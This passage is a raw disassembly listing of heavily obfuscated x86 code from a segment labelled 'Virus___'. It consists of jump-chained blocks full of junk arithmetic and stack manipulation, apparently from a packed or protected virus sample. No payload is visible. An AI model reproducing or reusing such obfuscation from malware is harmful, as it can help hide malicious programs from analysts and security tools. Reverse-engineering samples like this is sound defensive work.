		sub	ecx, ebx
		jmp	loc_556EF7
; ---------------------------------------------------------------------------


loc_55DE4C:				; CODE XREF: Virus___:005507E8j
		shl	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		push	ebp
		mov	ebp, 7A893884h
		mov	eax, ebp
		jmp	loc_559E34
; ---------------------------------------------------------------------------


loc_55DE62:				; CODE XREF: Virus___:0055FA83j
		mov	[esp], cx
		push	ebp
		sub	esp, 4
		jmp	loc_557077
; ---------------------------------------------------------------------------


loc_55DE72:				; CODE XREF: Virus___:0055B0D1j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		push	4
		jmp	loc_55044A
; ---------------------------------------------------------------------------


loc_55DE95:				; CODE XREF: Virus___:005645D3j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		sub	ebx, 14ED283Fh
		add	ebx, esi
		add	ebx, 14ED283Fh
		pop	esi
		push	ebp
		jmp	loc_555E65
; ---------------------------------------------------------------------------


loc_55DEB8:				; CODE XREF: Virus___:00559B64j
		push	ecx
		jmp	loc_55420D
; ---------------------------------------------------------------------------


loc_55DEBE:				; CODE XREF: Virus___:0056192Dj
		sub	esi, 454473AAh
		shl	esi, 5
		add	esi, 19EF0E13h
		sub	esi, 375FA1B6h
		add	eax, esi
		jmp	loc_562038
; ---------------------------------------------------------------------------


loc_55DEDA:				; CODE XREF: Virus___:005581CCj
		mov	ecx, 26535005h
		or	ecx, 6A077875h
		inc	ecx
		inc	ecx
		not	ecx
		shl	ecx, 2
		sub	ecx, 0E124BEFFh
		or	edx, ecx
		pop	ecx
		push	edx
		push	ebp
		pop	edx
		mov	ebp, [esp]
		jmp	loc_55F2F6
; ---------------------------------------------------------------------------


loc_55DF00:				; CODE XREF: Virus___:00554003j
		add	esp, 4
		mov	ch, dl
		jmp	loc_551DFE
; ---------------------------------------------------------------------------


loc_55DF0A:				; CODE XREF: Virus___:0055DA37j
		add	eax, ecx
		pop	ecx
		push	4991h
		jmp	loc_56456C
; ---------------------------------------------------------------------------


loc_55DF17:				; CODE XREF: Virus___:0055AC58j
		sub	eax, 0B8509D3h
		pop	ecx
		push	0F2h
		mov	[esp], eax
		push	esi
		mov	esi, 659B435Fh
		mov	eax, esi
		pop	esi
		add	ebx, 77BD4C8Bh
		jmp	loc_55B3E5
; ---------------------------------------------------------------------------


loc_55DF39:				; CODE XREF: Virus___:0056107Aj
		push	eax
		mov	eax, 1ECF1127h
		sub	[esp+4], eax
		mov	eax, [esp]
		jmp	loc_550B86
; ---------------------------------------------------------------------------


loc_55DF4B:				; CODE XREF: Virus___:00556FB3j
		add	edx, edi
		jmp	loc_55E87B
; ---------------------------------------------------------------------------


loc_55DF52:				; CODE XREF: Virus___:0055177Bj
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55545C
; ---------------------------------------------------------------------------


loc_55DF60:				; CODE XREF: Virus___:0055944Bj
		add	ah, 0E2h
		not	ah
		push	ebx
		mov	bl, 2Bh
		shr	bl, 3
		neg	bl
		add	bl, 0C1h
		jmp	loc_55EBF7
; ---------------------------------------------------------------------------


loc_55DF75:				; CODE XREF: Virus___:0055D9B7j
		push	45F1h
		mov	[esp], eax
		jmp	loc_553D1F
; ---------------------------------------------------------------------------


loc_55DF82:				; CODE XREF: Virus___:00563A87j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	5557h
		mov	[esp], edi
		mov	edi, 797A63BAh
		shl	edi, 7
		neg	edi
		jmp	loc_55C2A6
; ---------------------------------------------------------------------------


loc_55DFAA:				; CODE XREF: Virus___:005563B0j
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 35571DF3h
		not	edx
		push	eax
		mov	eax, 7E7100AEh
		jmp	loc_562065
; ---------------------------------------------------------------------------


loc_55DFC8:				; CODE XREF: Virus___:0055FCDBj
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_561A6A
; ---------------------------------------------------------------------------


loc_55DFD2:				; CODE XREF: Virus___:0055C00Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		jmp	loc_552F03
; ---------------------------------------------------------------------------


loc_55DFE0:				; CODE XREF: Virus___:00550372j
		push	ebp
		mov	ebp, 7B2332E6h
		shl	ebp, 8
		jmp	loc_55F416
; ---------------------------------------------------------------------------


loc_55DFEE:				; CODE XREF: Virus___:0055D7CCj
		mov	ch, [esp+2]
		jmp	loc_55EB70
; ---------------------------------------------------------------------------


loc_55DFF7:				; CODE XREF: Virus___:00564C78j
		mov	edi, 1F2052D0h
		push	ebp
		push	ebx
		mov	ebx, 98F0382h
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		jmp	loc_5565B3
; ---------------------------------------------------------------------------


loc_55E00D:				; CODE XREF: Virus___:00554D1Aj
		push	ecx
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55E014:				; CODE XREF: Virus___:0056401Bj
		sub	ecx, edi
		push	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 730264B5h
		mov	ebp, eax
		jmp	loc_5594C5
; ---------------------------------------------------------------------------


loc_55E02C:				; CODE XREF: Virus___:0055F9F4j
		mov	esp, [esp]
		mul	cx
		jmp	loc_5501F1
; ---------------------------------------------------------------------------


loc_55E037:				; CODE XREF: Virus___:00551757j
		mov	edx, 0F9C74FFh
		push	ebx
		mov	ebx, 4C9171EFh
		jmp	loc_5587E3
; ---------------------------------------------------------------------------


loc_55E047:				; CODE XREF: Virus___:005598D1j
		mov	edi, 4
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55686B
; ---------------------------------------------------------------------------


loc_55E05C:				; CODE XREF: Virus___:0055836Dj
		mov	ebp, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 188427B4h
		push	eax
		mov	eax, 32832CE4h
		inc	eax
		shr	eax, 2
		xor	eax, 22905D71h
		inc	eax
		or	eax, 0C3C13BDh
		xor	eax, 773FE91Ch
		and	esi, eax
		jmp	loc_55F331
; ---------------------------------------------------------------------------


loc_55E08D:				; CODE XREF: Virus___:00550525j
		push	7E3B2662h
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_555553
; ---------------------------------------------------------------------------


loc_55E09C:				; CODE XREF: Virus___:0055F0FCj
		mov	[esp], ecx
		push	606377D8h
		pop	ecx
		jmp	loc_561739
; ---------------------------------------------------------------------------


loc_55E0AA:				; CODE XREF: Virus___:005506FDj
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	eax
		mov	eax, 67112A6h
		push	esi
		mov	esi, 3D624E2Bh
		shr	esi, 1
		add	esi, 0E7BFEB8Dh
		xor	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 6C71276Fh
		inc	ecx
		and	ecx, 43B1587Eh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0FE757C1Bh
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, ecx
		pop	ecx
		sub	edi, 21C01FF7h
		add	edi, eax
		add	edi, 21C01FF7h
		add	edi, 3EA67C8Bh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_557B0A
; ---------------------------------------------------------------------------


loc_55E110:				; CODE XREF: Virus___:005619A4j
		mov	esp, [esp]
		push	3C1Dh
		mov	[esp], esi
		push	ecx
		jmp	loc_55139F
; ---------------------------------------------------------------------------


loc_55E121:				; CODE XREF: Virus___:00551AA2j
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 44281D4Fh
		shl	edi, 5
		jmp	loc_55D5DD
; ---------------------------------------------------------------------------


loc_55E138:				; CODE XREF: Virus___:00550D8Dj
		xor	[esp+4], ebp
		pop	ebp
		pop	ebx
		xor	ebx, 4B1C6F09h
		pop	ebp
		push	edx
		push	esi
		jmp	loc_553AE6
; ---------------------------------------------------------------------------


loc_55E14C:				; CODE XREF: Virus___:0055A09Cj
		not	edx
		shr	edx, 2
		jmp	loc_5555E8
; ---------------------------------------------------------------------------


loc_55E156:				; CODE XREF: Virus___:00558847j
		push	edi
		push	ebp
		sub	dword ptr [esp], 23DE392Bh
		pop	edi
		add	edi, 23DE392Bh
		mov	edx, edi
		pop	edi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	[esp+4], edx
		jmp	loc_55DA86
; ---------------------------------------------------------------------------


loc_55E179:				; CODE XREF: Virus___:00557A60j
		sub	edx, 4
		jmp	loc_55BD6B
; ---------------------------------------------------------------------------


loc_55E181:				; CODE XREF: Virus___:00563A72j
		mov	ebp, 37310C9Dh
		sub	edi, ebp
		pop	ebp
		sub	edi, eax
		jmp	loc_55E60F
; ---------------------------------------------------------------------------


loc_55E190:				; CODE XREF: Virus___:0055E4CAj
		add	eax, 0FFFFFFFFh
		push	ebp
		mov	ebp, 34E4E47h
		sub	ebp, 1
		jmp	loc_5501EA
; ---------------------------------------------------------------------------


loc_55E1A1:				; CODE XREF: Virus___:0054FDB6j
		pop	ebp
		neg	eax
		add	eax, 5FE5FFF7h
		jmp	loc_5587FC
; ---------------------------------------------------------------------------


loc_55E1AE:				; CODE XREF: Virus___:005549F1j
		xor	edi, 496222BEh
		push	edi
		sub	dword ptr [esp], 698B7761h
		pop	ecx
		push	eax
		mov	eax, 698B7761h
		jmp	loc_55BCEE
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	79C9h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553B46
; ---------------------------------------------------------------------------


loc_55E1FC:				; CODE XREF: Virus___:00559FB0j
		inc	eax
		sub	eax, 3BB0D311h
		xor	ebp, eax
		jmp	loc_550885
; ---------------------------------------------------------------------------


loc_55E209:				; CODE XREF: Virus___:00560DE9j
		mov	esi, 4
		mov	ebx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55CC1F
; ---------------------------------------------------------------------------


loc_55E224:				; CODE XREF: Virus___:00555F0Bj
		push	51F8h
		mov	[esp], edx
		push	ecx
		mov	ch, 7Ah
		neg	ch
		sub	ch, 3Dh
		or	ch, 0E6h
		jmp	loc_563319
; ---------------------------------------------------------------------------


loc_55E23C:				; CODE XREF: Virus___:00553CF5j
		push	esi
		mov	esi, 8AF988F9h
		jmp	loc_55CD9D
; ---------------------------------------------------------------------------


loc_55E247:				; CODE XREF: Virus___:0054F85Cj
		add	eax, 148F3E76h
		sub	eax, 75D17133h
		push	6BAAh
		mov	[esp], esi
		mov	esi, 4A35031Eh
		sub	eax, 4A223B4Fh
		add	eax, esi
		add	eax, 4A223B4Fh
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	7FB74656h
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_562B30
; ---------------------------------------------------------------------------


loc_55E284:				; CODE XREF: Virus___:00551D42j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55787A
; ---------------------------------------------------------------------------


loc_55E291:				; CODE XREF: Virus___:005571A9j
		push	eax
		jmp	loc_55F1ED
; ---------------------------------------------------------------------------


loc_55E297:				; CODE XREF: Virus___:0055DB73j
		not	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_56312D
; ---------------------------------------------------------------------------


loc_55E2A8:				; CODE XREF: Virus___:005627E3j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55ED1F
; ---------------------------------------------------------------------------


loc_55E2B9:				; CODE XREF: Virus___:005530A2j
		pop	esi
		add	esi, edi
		jmp	loc_552F7E
; ---------------------------------------------------------------------------


loc_55E2C1:				; CODE XREF: Virus___:00560839j
		mov	[esp], ecx
		push	ebx
		jmp	loc_5601E6
; ---------------------------------------------------------------------------


loc_55E2CA:				; CODE XREF: Virus___:0055509Dj
		push	69DD7A2Ah
		pop	ebx
		jmp	loc_551673
; ---------------------------------------------------------------------------


loc_55E2D5:				; CODE XREF: Virus___:0055045Fj
		mov	ebx, 0DD869C7h
		mov	ebp, ebx
		jmp	loc_556DD0
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5568C4
; ---------------------------------------------------------------------------


loc_55E2EC:				; CODE XREF: Virus___:00561EE8j
		push	1A61h
		mov	[esp], esi
		push	edx
		jmp	loc_56495C
; ---------------------------------------------------------------------------


loc_55E2FA:				; CODE XREF: Virus___:00552D59j
		mov	edi, 113C63F3h
		or	ebx, edi
		pop	edi
		jmp	loc_55B533
; ---------------------------------------------------------------------------


loc_55E307:				; CODE XREF: Virus___:0055E54Dj
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_552250
; ---------------------------------------------------------------------------


loc_55E319:				; CODE XREF: Virus___:005567F0j
		xor	ecx, 5FDE7F73h
		jmp	loc_552AC9
; ---------------------------------------------------------------------------


loc_55E324:				; CODE XREF: Virus___:0055EE5Bj
		pop	edi
		jmp	loc_5609F8
; ---------------------------------------------------------------------------


loc_55E32A:				; CODE XREF: Virus___:005582EDj
		mov	[esp], ebp
		mov	ebp, 188042D7h
		push	1853h
		mov	[esp], ecx
		mov	ecx, 363C74E7h
		jmp	loc_563117
; ---------------------------------------------------------------------------


loc_55E344:				; CODE XREF: Virus___:005576BBj
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_558020
; ---------------------------------------------------------------------------


loc_55E352:				; CODE XREF: Virus___:00551158j
		xor	esi, ebp
		pop	ebp
		jmp	loc_562F6A
; ---------------------------------------------------------------------------


loc_55E35A:				; CODE XREF: Virus___:005511DCj
		push	232Bh
		mov	[esp], edi
		push	49051952h
		jmp	loc_558FDE
; ---------------------------------------------------------------------------


loc_55E36C:				; CODE XREF: Virus___:005584F9j
		mov	cl, bh
		mov	ebx, [esp]
		jmp	loc_5564A9
; ---------------------------------------------------------------------------


loc_55E376:				; CODE XREF: Virus___:0054F9F3j
		push	edi
		push	eax
		xor	dword ptr [esp], 2EF56FC3h
		jmp	loc_55230A
; ---------------------------------------------------------------------------


loc_55E384:				; CODE XREF: Virus___:005578DBj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_557FD4
; ---------------------------------------------------------------------------


loc_55E397:				; CODE XREF: Virus___:00563469j
		mov	eax, 4
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_558B3B
; ---------------------------------------------------------------------------


loc_55E3BD:				; CODE XREF: Virus___:0055055Bj
		sub	ecx, 0AC92C72h
		add	ecx, ebx
		add	ecx, 0AC92C72h
		pop	ebx
		push	edi
		push	ebp
		jmp	loc_55F982
; ---------------------------------------------------------------------------


loc_55E3D3:				; CODE XREF: Virus___:0055D75Dj
		xor	eax, ecx
		pop	ecx
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_562FE5
; ---------------------------------------------------------------------------


loc_55E3F0:				; CODE XREF: Virus___:00564CC5j
		push	edi
		mov	edi, 458A137Fh
		add	edi, 6C79062Fh
		shr	edi, 8
		not	edi
		add	edi, 6B7B0C86h
		and	ecx, edi
		pop	edi
		xor	ecx, 0C6392BF3h
		mov	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 72C503D2h
		sub	ebp, 7C942693h
		and	ebp, 1C00BEh
		not	ebp
		inc	ebp
		xor	ebp, 8A4F84B0h
		add	ebx, ebp
		jmp	loc_56288D
; ---------------------------------------------------------------------------


loc_55E435:				; CODE XREF: Virus___:00558DABj
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4835634Dh
		add	ebp, 9640319h
		sub	ebx, ebp
		pop	ebp
		jmp	loc_554E7A
; ---------------------------------------------------------------------------


loc_55E457:				; CODE XREF: Virus___:0055C673j
		mov	[esp], ebx
		mov	ebx, 3C686F00h
		not	ebx
		jmp	loc_56498A
; ---------------------------------------------------------------------------


loc_55E466:				; CODE XREF: Virus___:00561C0Dj
		mov	[esp], ebp
		push	edx
		mov	edx, 915D8Ch
		mov	ebp, edx
		pop	edx
		sub	edx, ebp
		pop	ebp
		jmp	loc_55B527
; ---------------------------------------------------------------------------


loc_55E47A:				; CODE XREF: Virus___:0055718Ej
		neg	ebx
		and	ebx, 7EF61B6Dh
		xor	ebx, 62270630h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 433741CFh
		or	ebp, 64FA3BA1h
		xor	ebp, 2960021Dh
		neg	ebp
		neg	ebp
		xor	ebp, 0BB798088h
		add	eax, ebp
		pop	ebp
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_558E55
; ---------------------------------------------------------------------------


loc_55E4B8:				; CODE XREF: Virus___:005518C3j
		mov	eax, edx
		pop	edx
		dec	eax
		push	ebp
		mov	ebp, 6CF02572h
		or	eax, ebp
		pop	ebp
		sub	eax, 79CA76CAh
		jmp	loc_55E190
; ---------------------------------------------------------------------------


loc_55E4CF:				; CODE XREF: Virus___:0055B3BCj
		inc	esi
		add	esi, 0AC8097Ch
		jmp	loc_5543A6
; ---------------------------------------------------------------------------


loc_55E4DB:				; CODE XREF: Virus___:0055DA9Dj
		neg	ebp
		and	ebp, 34786806h
		jmp	loc_561B5F
; ---------------------------------------------------------------------------


loc_55E4E8:				; CODE XREF: Virus___:0055FC60j
		sub	edi, eax
		push	ecx
		mov	ecx, 17045E9h
		sub	edi, ecx
		pop	ecx
		jmp	loc_551644
; ---------------------------------------------------------------------------


loc_55E4F8:				; CODE XREF: Virus___:0056225Ej
		add	edi, esi
		jmp	loc_555B8B
; ---------------------------------------------------------------------------


loc_55E4FF:				; CODE XREF: Virus___:0055BAECj
		pop	ebx
		xor	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_551775
; ---------------------------------------------------------------------------


loc_55E518:				; CODE XREF: Virus___:00551ACFj
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	edi
		mov	edi, 4
		push	esi
		jmp	loc_55C543
; ---------------------------------------------------------------------------


loc_55E541:				; CODE XREF: Virus___:00556F27j
		push	dword ptr [esp]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55E307
; ---------------------------------------------------------------------------


loc_55E552:				; CODE XREF: Virus___:0055D1B6j
		sub	dword ptr [esp+4], 0AE05EFFh
		add	dword ptr [esp+4], 42D777D4h
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56402B
; ---------------------------------------------------------------------------


loc_55E579:				; CODE XREF: Virus___:00560173j
		mov	ebp, ebx
		pop	ebx
		jmp	loc_551AF0
; ---------------------------------------------------------------------------


loc_55E581:				; CODE XREF: Virus___:0055B128j
		sub	esp, 4
		mov	[esp], edx
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_563146
; ---------------------------------------------------------------------------


loc_55E592:				; CODE XREF: Virus___:00556BA9j
		push	74F3h
		mov	[esp], eax
		mov	ah, bh
		mov	[edi+38h], ah
		jmp	loc_5608E7
; ---------------------------------------------------------------------------


loc_55E5A4:				; CODE XREF: Virus___:00552DC4j
		mov	[esp], ebp
		push	esp
		jmp	loc_55EFC2
; ---------------------------------------------------------------------------


loc_55E5AD:				; CODE XREF: Virus___:00555762j
		pop	edx
		mov	dh, bh
		jmp	loc_560671
; ---------------------------------------------------------------------------


loc_55E5B5:				; CODE XREF: Virus___:00562F03j
		pop	eax
		add	dword ptr [esp], 6BC92492h
		add	[esp], eax
		sub	dword ptr [esp], 6BC92492h
		sub	dword ptr [esp], 13C5194Dh
		push	ebp
		mov	ebp, 64E24A3Eh
		push	ebp
		mov	ebp, 4DE756A5h
		sub	dword ptr [esp+8], 3BEB54DFh
		sub	[esp+8], ebp
		add	dword ptr [esp+8], 3BEB54DFh
		pop	ebp
		add	[esp+4], ebp
		add	dword ptr [esp+4], 4DE756A5h
		pop	ebp
		jmp	loc_551E0E
; ---------------------------------------------------------------------------


loc_55E601:				; CODE XREF: Virus___:0055C326j
		sub	bp, 8ABAh
		mov	bx, bp
		pop	ebp
		jmp	loc_550B77
; ---------------------------------------------------------------------------


loc_55E60F:				; CODE XREF: Virus___:0055E18Bj
		add	edi, 37310C9Dh
		jmp	loc_557260
; ---------------------------------------------------------------------------


loc_55E61A:				; CODE XREF: Virus___:00556AC3j
		sub	eax, 7DEC763Fh
		neg	eax
		sub	eax, 2B9F2861h
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_55A59F
; ---------------------------------------------------------------------------


loc_55E637:				; CODE XREF: Virus___:0055C993j
		push	2B05h
		jmp	loc_55FF39
; ---------------------------------------------------------------------------


loc_55E641:				; CODE XREF: Virus___:0055C617j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		add	[edi+24h], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	2D16h
		mov	[esp], edx
		push	esp
		jmp	loc_559FB5
; ---------------------------------------------------------------------------


loc_55E662:				; CODE XREF: Virus___:00550BC5j
		sub	al, 98h
		add	al, 0CEh
		sub	al, 0C8h
		push	ecx
		jmp	loc_551D5B
; ---------------------------------------------------------------------------


loc_55E66E:				; CODE XREF: Virus___:00556F66j
		mov	edi, 163A03C1h
		xor	edi, 5CD12A24h
		xor	edx, edi
		pop	edi
		push	0
		sub	[esp], edx
		mov	edx, [esp]
		add	esp, 4
		push	5C21h
		mov	[esp], eax
		mov	eax, 3AC40B3Bh
		sub	edx, 63A17490h
		add	edx, eax
		add	edx, 63A17490h
		pop	eax
		sub	edx, 0FAE81685h
		push	eax
		mov	eax, 14B62BC0h
		inc	eax
		inc	eax
		jmp	loc_553FCC
; ---------------------------------------------------------------------------


loc_55E6BC:				; CODE XREF: Virus___:00558299j
		push	2AD1h
		jmp	loc_55285F
; ---------------------------------------------------------------------------


loc_55E6C6:				; CODE XREF: Virus___:005640C3j
		inc	ecx
		xor	ecx, 195B0FE9h
		and	eax, ecx
		pop	ecx
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_55A131
; ---------------------------------------------------------------------------


loc_55E6DB:				; CODE XREF: Virus___:00560AAAj
		push	20EE4FE4h
		jmp	loc_558963
; ---------------------------------------------------------------------------


loc_55E6E5:				; CODE XREF: Virus___:0055B57Fj
		xor	ecx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		add	ecx, 0D6AE834Eh
		mov	ebp, ecx
		jmp	loc_558176
; ---------------------------------------------------------------------------


loc_55E6FE:				; CODE XREF: Virus___:0055BEC2j
		pop	esp
		push	ebx
		jmp	loc_554165
; ---------------------------------------------------------------------------


loc_55E705:				; CODE XREF: Virus___:005619B4j
		mov	esi, esp
		jmp	loc_55B4F3
; ---------------------------------------------------------------------------


loc_55E70C:				; CODE XREF: Virus___:005558CCj
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55E711:				; CODE XREF: Virus___:00558921j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_560CC2
		push	ecx
		push	76961D60h
		pop	ecx
		dec	ecx
		push	ebx
		mov	ebx, 20187908h
		jmp	loc_557E30
; ---------------------------------------------------------------------------


loc_55E72E:				; CODE XREF: Virus___:0056017Dj
		add	esp, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55EC47
; ---------------------------------------------------------------------------


loc_55E759:				; CODE XREF: Virus___:0055DC7Aj
		pop	dword ptr [esp]
		pop	esp
		mul	ecx
		push	6F9Ch
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55E76E:				; CODE XREF: Virus___:00558205j
		sub	al, 0Ch
		pop	bx
		add	al, dl
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 56h
		add	dl, 0FFh
		sub	dl, 88h
		add	dl, 0C2h
		jmp	loc_55DA3C
; ---------------------------------------------------------------------------


loc_55E78A:				; CODE XREF: Virus___:005618C5j
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5641AB
; ---------------------------------------------------------------------------


loc_55E794:				; CODE XREF: Virus___:0055CB01j
		push	ecx
		mov	ecx, 621A70A0h
		sub	ecx, 27720E1Ch
		add	ebx, 13C12B67h
		sub	ebx, ecx
		sub	ebx, 13C12B67h
		pop	ecx
		shr	ebx, 2
		add	ebx, 14A6F52h
		jmp	loc_5546D8
; ---------------------------------------------------------------------------


loc_55E7BD:				; CODE XREF: Virus___:00553DC1j
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5545A9
; ---------------------------------------------------------------------------


loc_55E7DA:				; CODE XREF: Virus___:0055BF94j
		shl	dl, 4
		xor	dl, 0D2h
		jmp	loc_560032
; ---------------------------------------------------------------------------


loc_55E7E5:				; CODE XREF: Virus___:00564998j
		add	eax, 2C8B4502h
		jmp	loc_55D0A8
; ---------------------------------------------------------------------------


loc_55E7EF:				; CODE XREF: Virus___:0055BE68j
		xor	ebp, 365E1529h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		or	edx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	edx, 5
		jmp	loc_551A51
; ---------------------------------------------------------------------------


loc_55E815:				; CODE XREF: Virus___:00560B29j
		pop	esp
		mov	edi, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55C66E
; ---------------------------------------------------------------------------


loc_55E82A:				; CODE XREF: Virus___:00553AF3j
					; Virus___:0055AF08j
		push	7BF8h
		mov	[esp], ecx
		push	ebp
		mov	ebp, 0A4A58E6h
		mov	ecx, 0AB86E4Ah
		xor	ecx, ebp
		pop	ebp
		push	6B23h
		mov	[esp], esi
		mov	esi, 278F2A85h
		shr	esi, 5
		push	764Fh
		mov	[esp], edx
		push	ecx
		push	ebx
		push	5F751A16h
		pop	ebx
		push	ebx
		add	dword ptr [esp], 2A6563F9h
		jmp	loc_556AE7
; ---------------------------------------------------------------------------


loc_55E86D:				; CODE XREF: Virus___:00553310j
		push	edx
		mov	edx, 6FB50B29h
		xor	esi, edx
		pop	edx
		jmp	loc_55CE5A
; ---------------------------------------------------------------------------


loc_55E87B:				; CODE XREF: Virus___:0055DF4Dj
		mov	edi, [esp]
		push	513Ch
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5570EF
; ---------------------------------------------------------------------------


loc_55E88D:				; CODE XREF: Virus___:00551B78j
		pop	esi
		add	eax, esi
		sub	eax, 4DF560DDh
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		jmp	loc_551E6D
; ---------------------------------------------------------------------------


loc_55E8A3:				; CODE XREF: Virus___:005642AAj
		push	esi
		push	6D2D319Bh
		pop	esi
		inc	esi
		and	esi, 7850412Ah
		sub	esi, 68000109h
		mov	eax, esi
		pop	esi
		sub	edx, eax
		jmp	loc_55A305
; ---------------------------------------------------------------------------


loc_55E8C1:				; CODE XREF: Virus___:00553853j
		sub	eax, ecx
		mov	ecx, eax
		pop	eax
		or	ecx, 6FC5470h
		jmp	loc_55FD86
; ---------------------------------------------------------------------------


loc_55E8D1:				; CODE XREF: Virus___:00558030j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_550EAB
; ---------------------------------------------------------------------------


loc_55E8EF:				; CODE XREF: Virus___:0055D4FAj
		shr	ecx, 7
		push	edx
		mov	edx, 1194C7Ch
		or	ecx, edx
		jmp	loc_55EC6C
; ---------------------------------------------------------------------------


loc_55E8FF:				; CODE XREF: Virus___:00553677j
		sub	ebx, edx
		pop	edx
		push	esi
		jmp	loc_561620
; ---------------------------------------------------------------------------


loc_55E908:				; CODE XREF: Virus___:0055FDEAj
		pop	esp
		mov	[esp], edx
		push	ecx
		mov	ecx, 3756DC0h
		mov	edx, 35D42E0Ah
		shr	edx, 6
		and	edx, 1678464Ah
		jmp	loc_55F818
; ---------------------------------------------------------------------------


loc_55E925:				; CODE XREF: Virus___:0055E957j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		jmp	loc_552F09
; ---------------------------------------------------------------------------


loc_55E93E:				; CODE XREF: Virus___:00554EBFj
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_55E947:				; CODE XREF: Virus___:005614F3j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		idiv	cx
		jmp	loc_557CED
; ---------------------------------------------------------------------------


